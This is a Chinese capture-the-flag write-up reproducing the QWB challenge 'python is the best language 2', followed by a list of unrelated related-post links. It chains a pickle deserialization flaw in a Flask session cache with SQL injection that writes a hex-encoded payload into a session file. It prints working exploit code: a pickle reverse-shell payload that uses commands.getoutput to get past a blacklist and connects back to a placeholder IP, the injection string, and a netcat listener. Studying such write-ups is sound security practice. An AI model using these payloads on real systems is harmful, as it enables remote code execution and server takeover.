复现强网杯python is the best language 2
参考文献:https://xz.aliyun.com/t/2219
http://120.77.209.122/index.php/archives/25/
源码下载下来后,是基于flask框架,先查看路由文件routes.py,里面功能大部分是基于登陆的。
在others.py的最后有这样的内容
load()函数
有一个unpkler函数
用于反序列化参数(file),如果file可控那么这就是一个反序列化漏洞。
借用下大佬的payload,理解下这个。
用下面的脚本(12.py)进行序列化payload的生成:
import os
from pickle import Pickler as Pkler
import commands
class hhh(object):def __reduce__(self):return (os.system,("whoami",))
evil = hhh()def dump(file):pkler = Pkler(file)pkler.dump(evil)with open("test","wb") as f:dump(f)
测试反序列化漏洞(13.py):
from pickle import Unpickler as Unpkler
from io import open as Open
def LOAD(file):unpkler = Unpkler(file)return Unpkler(file).load()with Open("test","rb") as f:LOAD(f)
执行会12.py后,会在12.py的同级目录下生成test,执行13.py会显示出用户信息
全局搜索load()函数
,发现它在Mycache.py的FileSystemCache类中有多次引用。(代码太长了,贴下有用的)
跟入_get_filename方法
可以看到将传入的字符串key进行MD5,并将其返回。通过全局搜索,发现在Mysession.py的open_session中调用了key
其中self.key_prefix为bdwsessions
,因此假设cookie中的sesssion值为pleated,则self.key_prefix + sid即为bdwsessionspleated,然后这串字符串进行MD5得到的结果0ab5423aafb316e9c299e0bb853d0c11
。这样就可以控制file了。
攻击流程
①本地生成序列化文件,并且进行十六进制编码
②通过第一关的sql注入,将本地生成的payload,写入服务器上的session文件,指定文件名为MD5(bdwsessionspleated),这样我们在访问/index的时候把cookie中的session值改为pleated,触发open_session中的self.cache.get就可以进行反序列化攻击了
沙箱逃逸
源码还设置了沙箱/黑名单来防止某些函数的执行,比如前面的os.system就被禁用了
此处过滤了大多数函数,但是commands.getoutput和subprocess.Popen()
并没有过滤,payload用的是commands.getoutput
import cPickle
import commandsclass Exp(object):def __reduce__(self):return (commands.getoutput,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"yourip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))
e = Exp()
poc = cPickle.dumps(e)
print '0x'+poc.encode('hex')
在注册的邮箱处填入:
test12'/**/union/**/select/**/0x63636f....../**/into/**/dumpfile/**/'/tmp/ffff/0ab5423aafb316e9c299e0bb853d0c11'#@test12.com
注册后出现Please use a different email address.。说明写入成功
然后访问http://39.107.32.29/:20000/index
抓包修改session值为pleated
反弹shell
nc -l -p 8181 -vvv
查看flag即可。
复现强网杯python is the best language 2相关推荐
- [强网杯2021]XBUUCTF[QWB2021 Quals]popmaster复现记录
给自动化代码审计的大佬跪了. 出题人写的WP在这里:强网杯[pop_master]与[陀那多]赛题的出题记录 复现可以到BUUCTF,启动[QWB2021 Quals]popmaster这道题就ok. ...
- 2020强网杯部分题目复现
本文目录 前言 强网先锋 Funhash 主动 upload web辅助 miscstudy 总结 前言 代码烂,游戏菜,天天等着大佬带.这次做出来三道题,无缘线下赛了,看来以后要找个大腿抱着才行(开 ...
- 强网杯2021 misc 复现
对强网杯BlueTeaming.ISO1995.CipherMan.Threebody的复现 (纯萌新学步) 可以参考mumuzi大佬的wp https://blog.csdn.net/qq_4288 ...
- 【Reverse】2022 强网杯 game
[Reverse]2022 强网杯 game 前言 复现一下这题,因为手头有环境可以学学.强网的时候根本没看. backup还原 直接GitHub的链接 可以还原出apk 摸瓜分析 在线网站分析 发现 ...
- [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master
强网杯作为国内最好的CTF比赛之一,搞安全的博友和初学者都可以去尝试下.首先,让我们观摩下这些大神队伍,包括0x300R.eee.0ops.AAA.NeSE.Nu1L等,真的值得我们去学习.其次,非常 ...
- 强网杯Web部分review
0x01 上个月强网杯结束,看了一下Web题目,代码审计及php 反序列化等.本着学习的态度,试着本地复现一下.靶机下载:https://github.com/glzjin/qwb_2019_uplo ...
- 强网杯2019(高明的黑客强网先锋上单)
强网杯2019(高明的黑客&强网先锋上单) 前言 这里主要是对强网杯web中高明的黑客和上单两道题进行一个复现回顾 再次感谢大佬提供的场景复现:https://www.zhaoj.in/rea ...
- 2019强网杯crypto writeup
本次write包含以下题目 copperstudy randomstudy 强网先锋-辅助 copperstudy 题目描述 nc 119.3.245.36 12345 连上去返回 [+]proof: ...
- 强网杯2018 - nextrsa - Writeup
强网杯2018 - nextrsa - Writeup 原文地址:M4x@10.0.0.55 所有代码均已上传至我的github 俄罗斯套娃一样的rsa题目,基本把我见过的rsa套路出了一遍,值得记录 ...
最新文章
- 微博polg什么意思_贾磊:广东发微博给CBA造成了负面影响 方硕的意思可能没表达清楚...
- 使用Vsftpd服务传输文件
- 选择排序的思想及其实现
- eclipse查看jar包中class的中文注释乱码问题的解决
- Windows中断那些事儿
- java做橡皮擦效果_HTML5 canvas橡皮擦擦拭效果
- 关于房屋的风水学整理
- grep 和 sed:linux经常使用工具 amp; 基本正則表達式
- ionic 父子组件传值
- JS-两个空数组为什么不相等?
- Django实战(一)——教育网站
- kvm系列之四:热添加技术
- Repast HPC1.0.1实例运行总结
- 蔡学镛:架构师最重视的文档 转
- 【机器学习】python实现非线性回归(以中国1960-2014GDP为例)
- 供应链金融产品业务全揭秘
- 如何利用QQ有效推广
- 内存系列三:内存初始化浅析
- centos7 安装 oceanbase 单机版测试
- 电影与幸福感期末答案和平时测试答案
热门文章
- 【iCore1S 双核心板_FPGA】例程十二:基于单口RAM的ARM+FPGA数据存取实验
- 第35届MPD软件工作坊深圳站圆满落幕
- (cljs/run-at (JSVM. :browser) 搭建刚好可用的开发环境!)
- 【转】C#调用WebService实例和开发
- 【BZOJ】4001: [TJOI2015]概率论
- Jacoco的原理(各个覆盖率的解释)
- matlab使用常犯的错误
- Windows Mobile 5
- matlab 对三维图像旋转,求助,二维图像如何绕轴旋转成为三维图像
- android 避内存溢出,Android避免内存溢出(Out of Memory)方法总结